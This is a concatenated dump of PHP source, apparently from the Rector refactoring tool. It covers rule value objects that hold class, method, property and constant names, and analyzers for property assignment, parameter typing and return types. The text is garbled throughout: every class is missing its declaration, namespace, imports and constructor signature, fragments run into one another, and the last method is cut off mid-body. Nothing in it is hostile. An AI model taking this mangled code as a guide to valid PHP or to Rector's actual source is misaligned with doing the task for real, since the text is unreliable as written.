$this->valuesToConstantsMap = $valuesToConstantsMap; } public function getAttributeClass() : string { return $this->attributeClass; } public function getAttributeKey() : string { return $this->attributeKey; } public function getConstantClass() : string { return $this->constantClass; } /** * @return array */ public function getValuesToConstantsMap() : array { return $this->valuesToConstantsMap; } } class = $class; $this->method = $method; RectorAssert::className($class); RectorAssert::methodName($method); } public function getClass() : string { return $this->class; } public function getMethod() : string { return $this->method; } } oldConstName = $oldConstName; $this->newClassName = $newClassName; $this->newConstName = $newConstName; RectorAssert::constantName($this->oldConstName); RectorAssert::className($this->newClassName); RectorAssert::constantName($this->newConstName); } public function getOldConstName() : string { return $this->oldConstName; } public function getNewClassName() : string { return $this->newClassName; } public function getNewConstName() : string { return $this->newConstName; } } oldFuncName = $oldFuncName; $this->newClassName = $newClassName; $this->newMethodName = $newMethodName; RectorAssert::functionName($oldFuncName); RectorAssert::className($newClassName); RectorAssert::methodName($newMethodName); } public function getOldFuncName() : string { return $this->oldFuncName; } public function getNewObjectType() : ObjectType { return new ObjectType($this->newClassName); } public function getNewMethodName() : string { return $this->newMethodName; } } oldFuncName = $oldFuncName; $this->newClassName = $newClassName; $this->newMethodName = $newMethodName; RectorAssert::functionName($oldFuncName); RectorAssert::className($newClassName); RectorAssert::methodName($newMethodName); } public function getOldFuncName() : string { return $this->oldFuncName; } public function getNewClassName() : string { return $this->newClassName; } public function getNewMethodName() : string { return $this->newMethodName; } } objectType = $objectType; $this->methodName = $methodName; $this->functionName = $functionName; } public function getObjectType() : string { return $this->objectType; } public function getMethodName() : string { return $this->methodName; } public function getFunctionName() : string { return $this->functionName; } } objectType = $objectType; $this->methodName = $methodName; $this->newClassString = $newClassString; } public function getObject() : ObjectType { return $this->objectType; } public function getMethodName() : string { return $this->methodName; } public function getNewClassString() : string { return $this->newClassString; } } oldType = $oldType; $this->oldMethod = $oldMethod; $this->newProperty = $newProperty; RectorAssert::className($oldType); RectorAssert::methodName($oldMethod); RectorAssert::propertyName($newProperty); } public function getOldObjectType() : ObjectType { return new ObjectType($this->oldType); } public function getNewProperty() : string { return $this->newProperty; } public function getOldMethod() : string { return $this->oldMethod; } } oldClass = $oldClass; $this->oldMethod = $oldMethod; $this->newClass = $newClass; $this->newMethod = $newMethod; RectorAssert::className($oldClass); RectorAssert::className($oldMethod); RectorAssert::className($newClass); RectorAssert::className($newMethod); } public function getOldObjectType() : ObjectType { return new ObjectType($this->oldClass); } public function getOldMethod() : string { return $this->oldMethod; } public function getNewClass() : string { return $this->newClass; } public function getNewMethod() : string { return $this->newMethod; } } type = $type; $this->staticCallClass = $staticCallClass; $this->staticCallMethod = $staticCallMethod; RectorAssert::className($type); RectorAssert::className($staticCallClass); RectorAssert::methodName($staticCallMethod); } public function getObjectType() : ObjectType { return new ObjectType($this->type); } public function getStaticCallClass() : string { return $this->staticCallClass; } public function getStaticCallMethod() : string { return $this->staticCallMethod; } } parentType = $parentType; $this->traitNames = $traitNames; RectorAssert::className($parentType); Assert::allString($traitNames); } public function getParentType() : string { return $this->parentType; } /** * @return string[] */ public function getTraitNames() : array { // keep the Trait order the way it is in config return \array_reverse($this->traitNames); } } class = $class; $this->oldPropertyName = $oldPropertyName; $this->newMethodName = $newMethodName; RectorAssert::className($class); RectorAssert::propertyName($oldPropertyName); RectorAssert::methodName($newMethodName); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getOldPropertyName() : string { return $this->oldPropertyName; } public function getNewMethodName() : string { return $this->newMethodName; } } oldType = $oldType; $this->oldProperty = $oldProperty; $this->newGetMethod = $newGetMethod; $this->newSetMethod = $newSetMethod; $this->newGetArguments = $newGetArguments; RectorAssert::className($oldType); RectorAssert::propertyName($oldProperty); RectorAssert::methodName($newGetMethod); if (\is_string($newSetMethod)) { RectorAssert::methodName($newSetMethod); } } public function getOldObjectType() : ObjectType { return new ObjectType($this->oldType); } public function getOldProperty() : string { return $this->oldProperty; } public function getNewGetMethod() : string { return $this->newGetMethod; } public function getNewSetMethod() : ?string { return $this->newSetMethod; } /** * @return mixed[] */ public function getNewGetArguments() : array { return $this->newGetArguments; } } class = $class; $this->method = $method; $this->property = $property; RectorAssert::className($class); RectorAssert::methodName($method); RectorAssert::propertyName($property); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethod() : string { return $this->method; } public function getProperty() : string { return $this->property; } } scalar = $scalar; $this->constFetch = $constFetch; } /** * @return \PhpParser\Node\Scalar\DNumber|\PhpParser\Node\Scalar\String_|\PhpParser\Node\Scalar\LNumber */ public function getScalar() { return $this->scalar; } /** * @return \PhpParser\Node\Expr\ConstFetch|\PhpParser\Node\Expr\ClassConstFetch */ public function getConstFetch() { return $this->constFetch; } } class = $class; $this->method = $method; $this->function = $function; RectorAssert::className($class); RectorAssert::methodName($method); RectorAssert::functionName($function); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethod() : string { return $this->method; } public function getFunction() : string { return $this->function; } } staticClass = $staticClass; $this->staticMethod = $staticMethod; $this->classType = $classType; $this->methodName = $methodName; RectorAssert::className($staticClass); // special char to match all method names if ($staticMethod !== '*') { RectorAssert::methodName($staticMethod); } RectorAssert::className($classType); if ($methodName !== '*') { RectorAssert::methodName($methodName); } } public function getClassObjectType() : ObjectType { return new ObjectType($this->classType); } public function getClassType() : string { return $this->classType; } public function getMethodName() : string { return $this->methodName; } public function isStaticCallMatch(StaticCall $staticCall) : bool { if (!$staticCall->class instanceof Name) { return \false; } $staticCallClassName = $staticCall->class->toString(); if ($staticCallClassName !== $this->staticClass) { return \false; } if (!$staticCall->name instanceof Identifier) { return \false; } // all methods if ($this->staticMethod === '*') { return \true; } $staticCallMethodName = $staticCall->name->toString(); return $staticCallMethodName === $this->staticMethod; } } class = $class; $this->method = $method; RectorAssert::className($class); RectorAssert::methodName($method); } public function getClass() : string { return $this->class; } public function getMethod() : string { return $this->method; } } string = $string; $this->class = $class; $this->constant = $constant; RectorAssert::className($class); } public function getString() : string { return $this->string; } public function getClass() : string { return $this->class; } public function getConstant() : string { return $this->constant; } } type = $type; $this->method = $method; $this->isArrayWrap = $isArrayWrap; RectorAssert::className($type); } public function getObjectType() : ObjectType { return new ObjectType($this->type); } public function getMethod() : string { return $this->method; } public function isArrayWrap() : bool { return $this->isArrayWrap; } } nodeTypeResolver = $nodeTypeResolver; $this->propertyAssignMatcher = $propertyAssignMatcher; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->autowiredClassMethodOrPropertyAnalyzer = $autowiredClassMethodOrPropertyAnalyzer; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->nodeComparator = $nodeComparator; } public function isPropertyAssigned(ClassLike $classLike, string $propertyName) : bool { $initializeClassMethods = $this->matchInitializeClassMethod($classLike); if ($initializeClassMethods === []) { return \false; } $isAssignedInConstructor = \false; $this->decorateFirstLevelStatementAttribute($initializeClassMethods); foreach ($initializeClassMethods as $initializeClassMethod) { $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $initializeClassMethod->stmts, function (Node $node) use($propertyName, &$isAssignedInConstructor) : ?int { if ($this->isIfElseAssign($node, $propertyName)) { $isAssignedInConstructor = \true; return NodeTraverser::STOP_TRAVERSAL; } $expr = $this->matchAssignExprToPropertyName($node, $propertyName); if (!$expr instanceof Expr) { return null; } /** @var Assign $assign */ $assign = $node; // is merged in assign? if ($this->isPropertyUsedInAssign($assign, $propertyName)) { $isAssignedInConstructor = \false; return NodeTraverser::STOP_TRAVERSAL; } $isFirstLevelStatement = $assign->getAttribute(self::IS_FIRST_LEVEL_STATEMENT); // cannot be nested if ($isFirstLevelStatement !== \true) { return null; } $isAssignedInConstructor = \true; return NodeTraverser::STOP_TRAVERSAL; }); } if (!$isAssignedInConstructor) { return $this->propertyFetchAnalyzer->isFilledViaMethodCallInConstructStmts($classLike, $propertyName); } return $isAssignedInConstructor; } /** * @param Stmt[] $stmts */ private function isAssignedInStmts(array $stmts, string $propertyName) : bool { $isAssigned = \false; foreach ($stmts as $stmt) { // non Expression can be on next stmt if (!$stmt instanceof Expression) { $isAssigned = \false; break; } if ($this->matchAssignExprToPropertyName($stmt->expr, $propertyName) instanceof Expr) { $isAssigned = \true; } } return $isAssigned; } private function isIfElseAssign(Node $node, string $propertyName) : bool { if (!$node instanceof If_ || $node->elseifs !== [] || !$node->else instanceof Else_) { return \false; } return $this->isAssignedInStmts($node->stmts, $propertyName) && $this->isAssignedInStmts($node->else->stmts, $propertyName); } private function matchAssignExprToPropertyName(Node $node, string $propertyName) : ?Expr { if (!$node instanceof Assign) { return null; } return $this->propertyAssignMatcher->matchPropertyAssignExpr($node, $propertyName); } /** * @param ClassMethod[] $classMethods */ private function decorateFirstLevelStatementAttribute(array $classMethods) : void { foreach ($classMethods as $classMethod) { foreach ((array) $classMethod->stmts as $methodStmt) { $methodStmt->setAttribute(self::IS_FIRST_LEVEL_STATEMENT, \true); if ($methodStmt instanceof Expression) { $methodStmt->expr->setAttribute(self::IS_FIRST_LEVEL_STATEMENT, \true); } } } } /** * @return ClassMethod[] */ private function matchInitializeClassMethod(ClassLike $classLike) : array { $initializingClassMethods = []; $constructClassMethod = $classLike->getMethod(MethodName::CONSTRUCT); if ($constructClassMethod instanceof ClassMethod) { $initializingClassMethods[] = $constructClassMethod; } $testCaseObjectType = new ObjectType('PHPUnit\\Framework\\TestCase'); if ($this->nodeTypeResolver->isObjectType($classLike, $testCaseObjectType)) { $setUpClassMethod = $classLike->getMethod(MethodName::SET_UP); if ($setUpClassMethod instanceof ClassMethod) { $initializingClassMethods[] = $setUpClassMethod; } $setUpBeforeClassMethod = $classLike->getMethod(MethodName::SET_UP_BEFORE_CLASS); if ($setUpBeforeClassMethod instanceof ClassMethod) { $initializingClassMethods[] = $setUpBeforeClassMethod; } } foreach ($classLike->getMethods() as $classMethod) { if (!$this->autowiredClassMethodOrPropertyAnalyzer->detect($classMethod)) { continue; } $initializingClassMethods[] = $classMethod; } return $initializingClassMethods; } private function isPropertyUsedInAssign(Assign $assign, string $propertyName) : bool { $nodeFinder = new NodeFinder(); $var = $assign->var; return (bool) $nodeFinder->findFirst($assign->expr, function (Node $node) use($propertyName, $var) : ?bool { if (!$node instanceof PropertyFetch) { return null; } if (!$node->name instanceof Identifier) { return null; } if ($node->name->toString() !== $propertyName) { return null; } return $this->nodeComparator->areNodesEqual($node, $var); }); } } doctrineTypeAnalyzer = $doctrineTypeAnalyzer; $this->nodeTypeResolver = $nodeTypeResolver; $this->propertyAssignMatcher = $propertyAssignMatcher; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function detect(ClassLike $classLike, string $propertyName) : bool { $needsNullType = \false; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($classLike->stmts, function (Node $node) use($propertyName, &$needsNullType) : ?int { $expr = $this->matchAssignExprToPropertyName($node, $propertyName); if (!$expr instanceof Expr) { return null; } // not in doctrine property $staticType = $this->nodeTypeResolver->getType($expr); if ($this->doctrineTypeAnalyzer->isDoctrineCollectionWithIterableUnionType($staticType)) { $needsNullType = \false; return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } return null; }); return $needsNullType; } private function matchAssignExprToPropertyName(Node $node, string $propertyName) : ?Expr { if (!$node instanceof Assign) { return null; } return $this->propertyAssignMatcher->matchPropertyAssignExpr($node, $propertyName); } } getProperty($propertyName); if (!$property instanceof Property) { return \false; } return $property->props[0]->default instanceof Expr; } } staticTypeMapper = $staticTypeMapper; } public function resolveFunctionLikeReturnTypeToPHPStanType(ClassMethod $classMethod) : Type { $functionReturnType = $classMethod->getReturnType(); if ($functionReturnType === null) { return new MixedType(); } return $this->staticTypeMapper->mapPhpParserNodePHPStanType($functionReturnType); } } nodeNameResolver = $nodeNameResolver; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->betterNodeFinder = $betterNodeFinder; } public function isLegal(Param $param, ClassMethod $classMethod) : bool { $paramName = $this->nodeNameResolver->getName($param->var); if ($paramName === null) { return \false; } $isLegal = \true; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->stmts, function (Node $subNode) use(&$isLegal, $paramName) : ?int { if ($subNode instanceof Assign && $subNode->var instanceof Variable && $this->nodeNameResolver->isName($subNode->var, $paramName)) { $isLegal = \false; return NodeTraverser::STOP_TRAVERSAL; } if ($subNode instanceof If_ && (bool) $this->betterNodeFinder->findFirst($subNode->cond, function (Node $node) use($paramName) : bool { return $node instanceof Variable && $this->nodeNameResolver->isName($node, $paramName); })) { $isLegal = \false; return NodeTraverser::STOP_TRAVERSAL; } if ($subNode instanceof Ternary && (bool) $this->betterNodeFinder->findFirst($subNode, function (Node $node) use($paramName) : bool { return $node instanceof Variable && $this->nodeNameResolver->isName($node, $paramName); })) { $isLegal = \false; return NodeTraverser::STOP_TRAVERSAL; } return null; }); return $isLegal; } } nodeNameResolver = $nodeNameResolver; $this->makePropertyTypedGuard = $makePropertyTypedGuard; } public function isLegal(Property $property, ClassReflection $classReflection) : bool { if (!$this->makePropertyTypedGuard->isLegal($property, $classReflection)) { return \false; } $propertyName = $this->nodeNameResolver->getName($property); foreach ($classReflection->getParents() as $parentClassReflection) { $nativeReflectionClass = $parentClassReflection->getNativeReflection(); if (!$nativeReflectionClass->hasProperty($propertyName)) { continue; } $parentPropertyReflection = $nativeReflectionClass->getProperty($propertyName); // empty type override is not allowed return (\method_exists($parentPropertyReflection, 'getType') ? $parentPropertyReflection->getType() : null) !== null; } return \true; } } propertyFetchAnalyzer = $propertyFetchAnalyzer; } /** * Covers: * - $this->propertyName = $expr; * - $this->propertyName[] = $expr; */ public function matchPropertyAssignExpr(Assign $assign, string $propertyName) : ?Expr { $assignVar = $assign->var; if ($this->propertyFetchAnalyzer->isLocalPropertyFetchName($assignVar, $propertyName)) { return $assign->expr; } if (!$assignVar instanceof ArrayDimFetch) { return null; } if ($this->propertyFetchAnalyzer->isLocalPropertyFetchName($assignVar->var, $propertyName)) { return $assign->expr; } return null; } } phpDocInfoFactory = $phpDocInfoFactory; $this->phpAttributeAnalyzer = $phpAttributeAnalyzer; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Param|\PhpParser\Node\Stmt\Property $node */ public function detect($node) : bool { $nodePhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); if ($nodePhpDocInfo->hasByNames(['required', 'inject'])) { return \true; } return $this->phpAttributeAnalyzer->hasPhpAttributes($node, ['Symfony\\Contracts\\Service\\Attribute\\Required', 'Nette\\DI\\Attributes\\Inject']); } } nodeTypeResolver = $nodeTypeResolver; $this->typeFactory = $typeFactory; $this->reflectionProvider = $reflectionProvider; $this->typeComparator = $typeComparator; } /** * @param MethodCall[]|StaticCall[] $calls * @return array */ public function resolveStrictTypesFromCalls(array $calls) : array { $staticTypesByArgumentPosition = []; foreach ($calls as $call) { foreach ($call->args as $position => $arg) { // there is first class callable usage, or argument unpack, or named arg // simply returns array marks as unknown as can be anything and in any position if (!$arg instanceof Arg || $arg->unpack || $arg->name instanceof Identifier) { return []; } $staticTypesByArgumentPosition[$position][] = $this->resolveStrictArgValueType($arg); } } // unite to single type return $this->unionToSingleType($staticTypesByArgumentPosition); } private function resolveStrictArgValueType(Arg $arg) : Type { $argValueType = $this->nodeTypeResolver->getNativeType($arg->value); // "self" in another object is not correct, this make it independent $argValueType = $this->correctSelfType($argValueType); if (!$argValueType instanceof ObjectType) { return $argValueType; } // fix false positive generic type on string if (!$this->reflectionProvider->hasClass($argValueType->getClassName())) { return new MixedType(); } $type = $this->nodeTypeResolver->getType($arg->value); if (!$type->equals($argValueType) && $this->typeComparator->isSubtype($type, $argValueType)) { return $type; } return $argValueType; } private function correctSelfType(Type $argValueType) : Type { if ($argValueType instanceof ThisType) { return new ObjectType($argValueType->getClassName()); } return $argValueType; } /** * @param array $staticTypesByArgumentPosition * @return array */ private function unionToSingleType(array $staticTypesByArgumentPosition) : array { $staticTypeByArgumentPosition = []; foreach ($staticTypesByArgumentPosition as $position => $staticTypes) { $unionedType = $this->typeFactory->createMixedPassedOrUnionType($staticTypes); // narrow parents to most child type $staticTypeByArgumentPosition[$position] = $this->narrowParentObjectTreeToSingleObjectChildType($unionedType); } if (\count($staticTypeByArgumentPosition) !== 1) { return $staticTypeByArgumentPosition; } if (!$staticTypeByArgumentPosition[0] instanceof NullType) { return $staticTypeByArgumentPosition; } return [new MixedType()]; } private function narrowParentObjectTreeToSingleObjectChildType(Type $type) : Type { if (!$type instanceof UnionType) { return $type; } if (!$this->isTypeWithClassNameOnly($type)) { return $type; } /** @var TypeWithClassName $firstUnionedType */ $firstUnionedType = $type->getTypes()[0]; foreach ($type->getTypes() as $unionedType) { if (!$unionedType instanceof TypeWithClassName) { return $type; } if ($unionedType->isSuperTypeOf($firstUnionedType)->yes()) { return $type; } } return $firstUnionedType; } private function isTypeWithClassNameOnly(UnionType $unionType) : bool { foreach ($unionType->getTypes() as $unionedType) { if (!$unionedType instanceof TypeWithClassName) { return \false; } } return \true; } } nodeNameResolver = $nodeNameResolver; $this->astResolver = $astResolver; $this->staticTypeMapper = $staticTypeMapper; $this->typeComparator = $typeComparator; } /** * @return null|\PhpParser\Node\Identifier|\PhpParser\Node\Name|\PhpParser\Node\NullableType|\PhpParser\Node\UnionType|\PhpParser\Node\ComplexType */ public function matchCallParamType(Param $param, Param $callParam) { if (!$callParam->type instanceof Node) { return null; } if (!$param->default instanceof Expr && !$callParam->default instanceof Expr) { // skip as mixed is not helpful and possibly requires more precise change elsewhere if ($this->isCallParamMixed($callParam->type)) { return null; } return $callParam->type; } $default = $param->default ?? $callParam->default; if (!$default instanceof Expr) { return null; } $callParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($callParam->type); $defaultType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($default); if ($this->typeComparator->areTypesEqual($callParamType, $defaultType)) { return $callParam->type; } if ($this->typeComparator->isSubtype($defaultType, $callParamType)) { return $callParam->type; } if (!$defaultType instanceof NullType) { return null; } if ($callParam->type instanceof Name || $callParam->type instanceof Identifier) { return new NullableType($callParam->type); } if ($callParam->type instanceof IntersectionType || $callParam->type instanceof UnionType) { return new UnionType(\array_merge($callParam->type->types, [new Identifier('null')])); } return null; } public function matchParentParam(StaticCall $parentStaticCall, Param $param, Scope $scope) : ?Param { $methodName = $this->nodeNameResolver->getName($parentStaticCall->name); if ($methodName === null) { return null; } // match current param to parent call position $parentStaticCallArgPosition = $this->matchCallArgPosition($parentStaticCall, $param); if ($parentStaticCallArgPosition === null) { return null; } return $this->resolveParentMethodParam($scope, $methodName, $parentStaticCallArgPosition); } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\FuncCall $call */ public function matchCallParam($call, Param $param, Scope $scope) : ?Param { $callArgPosition = $this->matchCallArgPosition($call, $param); if ($callArgPosition === null) { return null; } $classMethodOrFunction = $this->astResolver->resolveClassMethodOrFunctionFromCall($call, $scope); if ($classMethodOrFunction === null) { return null; } return $classMethodOrFunction->params[$callArgPosition] ?? null; } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\FuncCall $call */ private function matchCallArgPosition($call, Param $param) : ?int { $paramName = $this->nodeNameResolver->getName($param); foreach ($call->args as $argPosition => $arg) { if (!$arg instanceof Arg) { continue; } if (!$arg->value instanceof Variable) { continue; } if (!$this->nodeNameResolver->isName($arg->value, $paramName)) { continue; } return $argPosition; } return null; } private function resolveParentMethodParam(Scope $scope, string $methodName, int $paramPosition) : ?Param { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } foreach ($classReflection->getParents() as $parentClassReflection) { if (!$parentClassReflection->hasMethod($methodName)) { continue; } $parentClassMethod = $this->astResolver->resolveClassMethod($parentClassReflection->getName(), $methodName); if (!$parentClassMethod instanceof ClassMethod) { continue; } return $parentClassMethod->params[$paramPosition] ?? null; } return null; } private function isCallParamMixed(Node $node) : bool { $callParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($node); return $callParamType instanceof MixedType; } } nodeNameResolver = $nodeNameResolver; } public function hasPropertyFetchReturn(ClassMethod $classMethod, string $propertyName) : bool { $stmts = (array) $classMethod->stmts; if (\count($stmts) !== 1) { return \false; } $onlyClassMethodStmt = $stmts[0] ?? null; if (!$onlyClassMethodStmt instanceof Return_) { return \false; } /** @var Return_ $return */ $return = $onlyClassMethodStmt; if (!$return->expr instanceof PropertyFetch) { return \false; } return $this->nodeNameResolver->isName($return->expr, $propertyName); } public function hasOnlyPropertyAssign(ClassMethod $classMethod, string $propertyName) : bool { $stmts = (array) $classMethod->stmts; if (\count($stmts) !== 1) { return \false; } $onlyClassMethodStmt = $stmts[0] ?? null; if (!$onlyClassMethodStmt instanceof Expression) { return \false; } if (!$onlyClassMethodStmt->expr instanceof Assign) { return \false; } $assign = $onlyClassMethodStmt->expr; if (!$assign->expr instanceof Variable) { return \false; } if (!$this->nodeNameResolver->isName($assign->expr, $propertyName)) { return \false; } $assignVar = $assign->var; if (!$assignVar instanceof PropertyFetch) { return \false; } $propertyFetch = $assignVar; if (!$this->nodeNameResolver->isName($propertyFetch->var, 'this')) { return \false; } return $this->nodeNameResolver->isName($propertyFetch->name, $propertyName); } } staticTypeMapper = $staticTypeMapper; $this->classMethodParamVendorLockResolver = $classMethodParamVendorLockResolver; } /** * @param array $classParameterTypes */ public function complete(ClassMethod $classMethod, array $classParameterTypes, int $maxUnionTypes) : ?ClassMethod { $hasChanged = \false; foreach ($classParameterTypes as $position => $argumentStaticType) { /** @var Type $argumentStaticType */ if ($this->shouldSkipArgumentStaticType($classMethod, $argumentStaticType, $position, $maxUnionTypes)) { continue; } $phpParserTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($argumentStaticType, TypeKind::PARAM); if (!$phpParserTypeNode instanceof Node) { continue; } // check default override $param = $classMethod->params[$position]; if (!$this->isAcceptedByDefault($param, $argumentStaticType)) { continue; } // skip if param type already filled if ($param->type instanceof Identifier) { continue; } // update parameter $param->type = $phpParserTypeNode; $hasChanged = \true; } if ($hasChanged) { return $classMethod; } return null; } private function shouldSkipArgumentStaticType(ClassMethod $classMethod, Type $argumentStaticType, int $position, int $maxUnionTypes) : bool { if ($argumentStaticType instanceof MixedType) { return \true; } // skip mixed in union type if ($argumentStaticType instanceof UnionType && $argumentStaticType->isSuperTypeOf(new MixedType())->yes()) { return \true; } if (!isset($classMethod->params[$position])) { return \true; } if ($this->classMethodParamVendorLockResolver->isVendorLocked($classMethod)) { return \true; } $parameter = $classMethod->params[$position]; if ($parameter->type === null) { return \false; } $currentParameterStaticType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($parameter->type); if ($this->isClosureAndCallableType($currentParameterStaticType, $argumentStaticType)) { return \true; } // too many union types if ($this->isTooDetailedUnionType($currentParameterStaticType, $argumentStaticType, $maxUnionTypes)) { return \true; } // current type already accepts the one added if ($currentParameterStaticType->accepts($argumentStaticType, \true)->yes()) { return \true; } // avoid overriding more precise type if ($argumentStaticType->isSuperTypeOf($currentParameterStaticType)->yes()) { return \true; } // already completed → skip return $currentParameterStaticType->equals($argumentStaticType); } private function isClosureAndCallableType(Type $parameterStaticType, Type $argumentStaticType) : bool { if ($parameterStaticType instanceof CallableType && $this->isClosureObjectType($argumentStaticType)) { return \true; } return $argumentStaticType instanceof CallableType && $this->isClosureObjectType($parameterStaticType); } private function isClosureObjectType(Type $type) : bool { if (!$type instanceof ObjectType) { return \false; } return $type->getClassName() === 'Closure'; } private function isTooDetailedUnionType(Type $currentType, Type $newType, int $maxUnionTypes) : bool { if ($currentType instanceof MixedType) { return \false; } if (!$newType instanceof UnionType) { return \false; } return \count($newType->getTypes()) > $maxUnionTypes; } private function isAcceptedByDefault(Param $param, Type $argumentStaticType) : bool { if (!$param->default instanceof Expr) { return \true; } $defaultExpr = $param->default; $defaultStaticType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($defaultExpr); return $argumentStaticType->accepts($defaultStaticType, \false)->yes(); } } declares as $declare) { if ($declare->key->toString() === 'strict_types') { return \true; } } return \false; } } nodeTypeResolver = $nodeTypeResolver; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\Closure|\PhpParser\Node\Stmt\Function_ $functionLike */ public function hasNeverFuncCall($functionLike) : bool { foreach ((array) $functionLike->stmts as $stmt) { if ($this->isWithNeverTypeExpr($stmt)) { return \true; } } return \false; } public function isWithNeverTypeExpr(Stmt $stmt) : bool { if ($stmt instanceof Expression) { $stmt = $stmt->expr; } if ($stmt instanceof Stmt) { return \false; } $stmtType = $this->nodeTypeResolver->getNativeType($stmt); return $stmtType instanceof NeverType; } } nodeNameResolver = $nodeNameResolver; } public function getParamByName(string $desiredParamName, FunctionLike $functionLike) : ?Param { foreach ($functionLike->getParams() as $param) { $paramName = $this->nodeNameResolver->getName($param); if ('$' . $paramName !== $desiredParamName) { continue; } return $param; } return null; } } silentVoidResolver = $silentVoidResolver; } /** * @param Return_[] $returns * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ public function hasOnlyReturnWithExpr($functionLike, array $returns) : bool { if ($functionLike->stmts === null) { return \false; } // void or combined with yield/yield from if ($returns === []) { return \false; } // possible void foreach ($returns as $return) { if (!$return->expr instanceof Expr) { return \false; } } // possible silent void return !$this->silentVoidResolver->hasSilentVoid($functionLike); } } reflectionResolver = $reflectionResolver; } /** * @param Return_[] $returns * @return array|null */ public function match(array $returns) : ?array { $callLikes = []; foreach ($returns as $return) { // we need exact expr return $returnExpr = $return->expr; if (!$returnExpr instanceof StaticCall && !$returnExpr instanceof MethodCall && !$returnExpr instanceof FuncCall) { return null; } $functionLikeReflection = $this->reflectionResolver->resolveFunctionLikeReflectionFromCall($returnExpr); if (!$functionLikeReflection instanceof FunctionReflection && !$functionLikeReflection instanceof MethodReflection) { return null; } // is native func call? if (!$this->isNativeCallLike($functionLikeReflection)) { return null; } $callLikes[] = $returnExpr; } return $callLikes; } /** * @param \PHPStan\Reflection\MethodReflection|\PHPStan\Reflection\FunctionReflection $functionLikeReflection */ private function isNativeCallLike($functionLikeReflection) : bool { if ($functionLikeReflection instanceof FunctionReflection) { return $functionLikeReflection->isBuiltin(); } // is native method call? $classReflection = $functionLikeReflection->getDeclaringClass(); return $classReflection->isBuiltin(); } } betterNodeFinder = $betterNodeFinder; $this->exclusiveNativeCallLikeReturnMatcher = $exclusiveNativeCallLikeReturnMatcher; $this->returnAnalyzer = $returnAnalyzer; } /** * @return CallLike[]|null * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ public function matchAlwaysReturnNativeCallLikes($functionLike) : ?array { if ($functionLike->stmts === null) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($functionLike); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($functionLike, $returns)) { return null; } return $this->exclusiveNativeCallLikeReturnMatcher->match($returns); } } betterNodeFinder = $betterNodeFinder; $this->nodeNameResolver = $nodeNameResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->returnAnalyzer = $returnAnalyzer; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ public function matchAlwaysReturnVariableNew($functionLike) : ?string { if ($functionLike->stmts === null) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($functionLike); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($functionLike, $returns)) { return null; } if (\count($returns) !== 1) { return null; } // exact one return of variable $onlyReturn = $returns[0]; if (!$onlyReturn->expr instanceof Variable) { return null; } $returnType = $this->nodeTypeResolver->getType($onlyReturn->expr); if (!$returnType instanceof ObjectType) { return null; } $createdVariablesToTypes = $this->resolveCreatedVariablesToTypes($functionLike); $returnedVariableName = $this->nodeNameResolver->getName($onlyReturn->expr); $className = $createdVariablesToTypes[$returnedVariableName] ?? null; if (!\is_string($className)) { return $className; } if ($returnType->getClassName() === $className) { return $className; } return null; } /** * @return array * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ private function resolveCreatedVariablesToTypes($functionLike) : array { $createdVariablesToTypes = []; // what new is assigned to it? foreach ((array) $functionLike->stmts as $stmt) { $assignToVariable = $this->matchAssignToVariable($stmt); if (!$assignToVariable instanceof AssignToVariable) { continue; } $assignedExpr = $assignToVariable->getAssignedExpr(); $variableName = $assignToVariable->getVariableName(); if (!$assignedExpr instanceof New_) { // possible variable override by another type! - unset it if (isset($createdVariablesToTypes[$variableName])) { unset($createdVariablesToTypes[$variableName]); } continue; } $className = $this->nodeNameResolver->getName($assignedExpr->class); if (!\is_string($className)) { continue; } $createdVariablesToTypes[$variableName] = $className; } return $createdVariablesToTypes; } private function matchAssignToVariable(Stmt $stmt) : ?AssignToVariable { if (!$stmt instanceof Expression) { return null; } if (!$stmt->expr instanceof Assign) { return null; } $assign = $stmt->expr; $assignedVar = $assign->var; if (!$assignedVar instanceof Variable) { return null; } $variableName = $this->nodeNameResolver->getName($assignedVar); if (!\is_string($variableName)) { return null; } return new AssignToVariable($variableName, $assign->expr); } } nodeComparator = $nodeComparator; } /** * @param array $typeNodes * @return array */ public function unwrapNullableUnionTypes(array $typeNodes) : array { $unwrappedTypeNodes = []; foreach ($typeNodes as $typeNode) { if ($typeNode instanceof UnionType) { $unwrappedTypeNodes = \array_merge($unwrappedTypeNodes, $this->unwrapNullableUnionTypes($typeNode->types)); } elseif ($typeNode instanceof NullableType) { $unwrappedTypeNodes[] = $typeNode->type; $unwrappedTypeNodes[] = new Identifier('null'); } 